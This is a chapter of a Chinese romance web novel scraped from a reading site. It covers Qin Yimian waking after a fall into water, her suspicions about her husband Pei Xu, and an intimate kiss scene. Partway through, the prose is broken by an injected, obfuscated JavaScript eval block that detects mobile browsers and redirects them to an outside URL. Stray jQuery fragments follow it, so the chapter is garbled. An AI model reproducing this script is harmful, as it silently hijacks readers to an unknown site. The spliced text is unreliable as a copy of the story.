默认冷灰
24号文字
方正启体

20. 亲与被亲

作者:天问九思本书字数:K更新时间:
    河岸边,貌若天人的三位男子气氛怪异,似乎沾染了凡尘的情绪。


    拱桥上,受过良好教养的公子小姐们,此刻的行为不那么有教养。


    有人摩拳擦掌竖耳倾听,生怕错过顶级权贵秘辛。有人咬牙恨恨盯着秦意绵,羡慕嫉妒她如此擅长蛊惑男人心。也有人管不住嘴,小声编排她水性杨花红颜祸水。


    唯有秦意绵心情复杂,一边讨厌这位素不相识、利用她去激怒政敌裴序的王爷,一边又欣喜自己坐收渔翁之利,竟有幸服下这等神药。


    刚服下便觉通体舒畅,身轻如燕,疲惫感瞬间消失。


    不知怎的,她竟突然想起冷月。


    冷月也曾说寻得一颗神药,三番五次要喂她服下,都被她拒绝了。冷月整日在刀尖上舔血,比她更需要这种药。


    若是方才吞下神药的,是冷月就好了。若冷月吃了神药,她就不用担心她是不是死了,才会杳无音讯。


    “冷月……”


    秦意绵意识混沌,竟不自觉呢喃出这两个字。她不知道,这是裴序最介怀的名字,甫一说出口,这男人的神色又冷了几分。


    她脑中思绪翻飞,想的全是身边那两个全心全意对她好的丫头。她想知道服了神药的血能否变成“神血”,给冷月和青杏尝一口。


    忽而又想到,青杏这丫头还没出现,不知道出了什么事。


    正思忖要不要借着神药的由头,顺其自然“醒”过来,刹那间竟失去了意识。


    等她醒来,睁眼却发现已经躺在床上,身下是柔软的锦衾,身旁是冷硬的俊脸。


    “夫君……”秦意绵开口,竟发现嗓子不疼也不哑了。


    她刚醒来,加上“夫君”二字本就自带缱绻之意,是以嗓音娇软,似春水浸梨花,五分清甜五分柔,正常男人听了,应当骨酥神醉才是。


    可裴序听了,依旧神色冷硬,例行公事般询问,“身子如何?”


    秦意绵压下心底淡淡的失落,嘴角勾起浅笑,“谢夫君,妾身身子好多了,身轻如燕。神药……”不愧是神药。


    最后那句没说完,惊觉失言。她那时正在装晕,不应该知道“神药”一事。


    “神药,大夫开的肯定是神药,药效真好,连昨晚的……疲乏酸痛……也消散了。”


    秦意绵连忙找补,为了扰乱男人的心神,她故意提起昨晚,语气暧昧缱绻。


    可男人不为所动,依旧冷若冰霜,脸上隐隐有兴师问罪之意。


    想来为了岸边之事气恼。这只古板闷葫芦,嘴上没说,心里指不定怎么猜疑她。


    她却没工夫解释,话锋一转,语气急切,“夫君,您可有见到我的贴身丫鬟青杏?妾身从桃林出来就没见到她,担心她出事。”


    言下之意是,她着急找自己的贴身丫鬟,先不奉陪了。


    裴序却没听懂似的,只淡淡喊一声,“清砚。”


    “是,属下这就去找。”清砚的声音从门口传来,明亮轻快,带着少年郎特有的朝气,飘荡在风里。


    秦意绵怔住,清砚耳力如此好吗?这都能听见,方才她撒娇耍媚的调调,岂不是被听了去?


    不对,重点是,裴序何时管过这等闲事?他今日出现在这种场合,本身就很反常。


    事出反常必有妖。


    秦意绵心生警惕,脸上不自觉挂上假笑,“多谢夫君。”


    她有一肚子疑问,却不敢问裴序。只希望这尊大佛赶紧离开,她自己去找答案,自己去找推她下水的黑手。


    裴序却冷着脸坐在床边,一言不发。


    秦意绵想着敌不动我不动,亦沉默以对。


    气氛就这么僵持着。


    最后还是秦意绵败下阵来,她僵着脸艰难扯出一抹微笑,试探道,“夫君今日不忙吗?”


    十日前请求他陪自己回娘家,顺便参加春日宴,被这男人一口回绝。当时清砚怕她难过,还特意给她汇报了裴序的公务安排,的确满满当当。


    她记得,近日裴序要处理南昭国和谈事宜,按理说没时间来秦府晃悠。他是穿着官服来的,显然不是来赴宴那么简单。


    他是来会那个王爷的吧?听桥上那些碎嘴子的意思,裴序和那位王爷是政敌?甚至在水下打了一架?


    如此想来,便能解释那位素不相识的王爷为何下水“救她”了,原来是为了恶心裴序。


    她都能想通的道理,裴序肯定也能想通,定不会猜疑她和王爷有什么纠葛。


    可是,王爷为何给她吃什么“凝霜丸”?送出如此贵重的神药,究竟是为了恶心裴序,还是为了拉拢他?两人不会表面敌对实则勾结吧?他俩在水下那会儿,打斗还是密谋?


    不管了,总之那什么王爷,跟她没关系。裴序应该心知肚明。


    秦意绵这厢思绪翻飞、疑虑万千,裴序却皱眉盯着她,神色颇为不悦,“不想笑就别笑。”


    “啊?”秦意绵有些懵,开口才发现嘴角笑僵了。


    “很丑。”裴序伸手,在她唇边抚了抚,动作略显粗暴。


    秦意绵没注意到裴序的反常,满脑子都是那个“丑”字。


    若是别人这么说,她只会自信满满地嗤笑一声。但这人是不苟言笑的裴序,从他嘴里说出来,可信度大大提高。


    这怎么成?她生性爱美,怎能与“丑”字挂钩?何况还是在心仪的男人面前?


    心里憋着一股气,秦意绵倏地将自己蒙在被子里。


    隔着被子,她不自觉卸下伪装,没好气道,“妾身这么丑,不敢污了夫君的眼。还请夫君离开,容我梳妆打扮一番。”


    说完又有些后悔,担心裴序不喜她这副小家子气的模样,更担心裴序多想。


    一瞬间,她脑中闪过诸多画面。譬如裴序恨铁不成钢,拂袖而去,譬如裴序冷脸呵斥她“成何体统,难堪大任”,譬如裴序不为所动,拷问她和裴玉的关系,在水里为何选择裴玉而非他这个夫君。


    直至被子被温柔拉至肩膀,头顶传来低沉好听的闷笑声,秦意绵才知道,想太多的人是她自己。


    裴序的笑声很轻柔,如春风拂过柳梢头,不热烈,却缠绵入骨,撩得人心尖发痒。


    秦意绵第一次听裴序笑,还是这种撩人心弦的笑,不由得耳尖发烫,头脑发懵,飘飘然如置云端。


    陶醉间,她惊觉男人俯身过来,灼热的的呼吸一下一下喷洒在她脸上,烫红她的双颊。


    她心跳如擂鼓,紧张得羽睫直颤,连睁眼的勇气都没有。


    “夫人这般,甚美。”


    猝不及防地,听到这句床笫间都不曾听过的话,秦意绵不可置信地睁开眼,迫切想要确认眼前人是否被什么风流鬼附身。


    她古板正经的夫君,不可能说出这种甜言蜜语来。


    然睁开双眼,她便陷进男人深邃如墨的凤眸里,似坠入一泓深潭,涟漪轻荡间便失了方向。


    那眸光温柔似水,又暗藏灼灼星火,令她心尖发颤,辨不清今夕何夕,只能凭着本心开口,“夫君,我可以亲你吗?”


    说完越发感觉口干舌燥,不自觉舔了舔唇角。


    “嗯。”裴序喉结滚动,几经吞咽,才从胸口溢出这个答案。


    他的语调与寻常无异,唯有抓着床沿的泛白指节,才会泄露他的慌乱。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314765|166023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可惜秦意绵看不见,她只看见,裴序目光灼灼,眼神似乎带着上位者的审视与侵略。


    她被吓得闭上眼,嘟起唇瓣,小心翼翼在他唇角试探。


    他的唇瓣不似他外表那般冷硬,反而温热柔软,被她一碰,轻轻颤动。颤抖间,淡淡的茶香从唇瓣溢出,似乎在邀请她深入品尝。


    可她胆子小,只敢化作一条灵活的小蛇,在门口嬉戏。时而轻轻描摹他的好看的唇形,时而轻咬琼脂冻般弹软的唇瓣。


    裴序却反客为主,翻身上床,隔着被子伏在她身上,唇齿不断朝她逼近,颇有“山不动我动”的气势。


    男人的这种侵略性,以往在翻云覆雨之时都不曾有过。


    秦意绵不得不承认,她是敌退我进、敌攻我逃的类型。以往裴序含蓄隐忍,她便生了调戏的兴致,想方设法将艳情话本上学来的,不动声色运用于床笫间。


    可如今,她却被裴序的攻势镇住,下意识扭头退缩。


    男人眸光带火,似乎很不满她的躲闪,一手扣住她的后颈,撬开她的贝齿,攻城掠地,肆无忌惮攫取她的水分和能量,令她浑身瘫软,只能被动承受。


    他的吻,前所未有的凶悍霸道,搅得她天旋地转无所适从,酥麻从脊背蔓延至四肢百骸,令她失去对身体的控制能力,只能放任唾液渗出嘴角。


    直至他放缓攻势,缓缓吮去从她唇角蔓延至颈间的银丝,直至她不自觉仰起头,溢出难以启齿的声音,才倏然惊醒。


    裴序在干什么?!


    此刻她在秦府,躺在未出阁之时的软床上,按常理,他定不会如此放浪。


    他不是急色之人,如此反常,定非情难自抑,而是出于试探。


    这男人定是对水下她选了裴玉而耿耿于怀,对于岸边她和裴玉抱在一起,定也难以释怀。


    还有,说不定那什么王爷的账,也算在她头上。觉得她招蜂引蝶,才如此反常地试探。


    他连黑衣人出现在她房中,都能怀疑她不贞,把她脱光了验身。今日两个男人明目张胆围着她转,这个高高在上的男人,不发疯才怪。


    秦意绵越想越心惊,心底生出的小火苗被一盆冷水浇灭。


    她伸手堵住裴序的唇,凉凉道,“夫君这般反常,可是因为落水之事?觉得我生性放浪,才如此迫不及待验证?”


    裴序愣住,抬眸看她,湿濡的唇瓣微微抖动,似乎还没从方才的放纵中回神。


    被这双深沉复杂的眸子注视着,秦意绵没了方才的勇气。


    她忽然想到,现下不是和离的好时候,万一惹恼裴序,后果她无力承担。


    于是只能怯懦地低头,“抱歉,妾身可能脑子进水了,才胆敢冒犯夫君。请夫君见谅!”


    此言一出,裴序的眼神瞬间恢复清明和冷淡。


    他沉默良久,才幽幽叹了口气,无奈道,“夫人,你我之间,能否不要如此疏离?”


    “啊?”秦意绵不解,端庄贤淑、主母风范,不正是裴序要的吗?


    难道她错了?


    说起来,裴序方才的热切,似乎从她使小性子蒙被子开始。后来她说要亲他,他才反常地放纵……


    难不成,他只是假正经,私下里就喜欢她撒娇和撩拨?


    还有,他方才的吻如此霸道,难不成是因为吃醋了,占有欲作祟?


    思及此,秦意绵大胆将裴序推到里侧,翻身趴在他身上,娇媚开口,


    “好,听夫君的。只是,妾身不知夫君能接受多亲密的举动,能否容我试探试探?今后好掌握分寸。”


    “嗯。”裴序嗓音沙哑,带着隐隐的期待。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)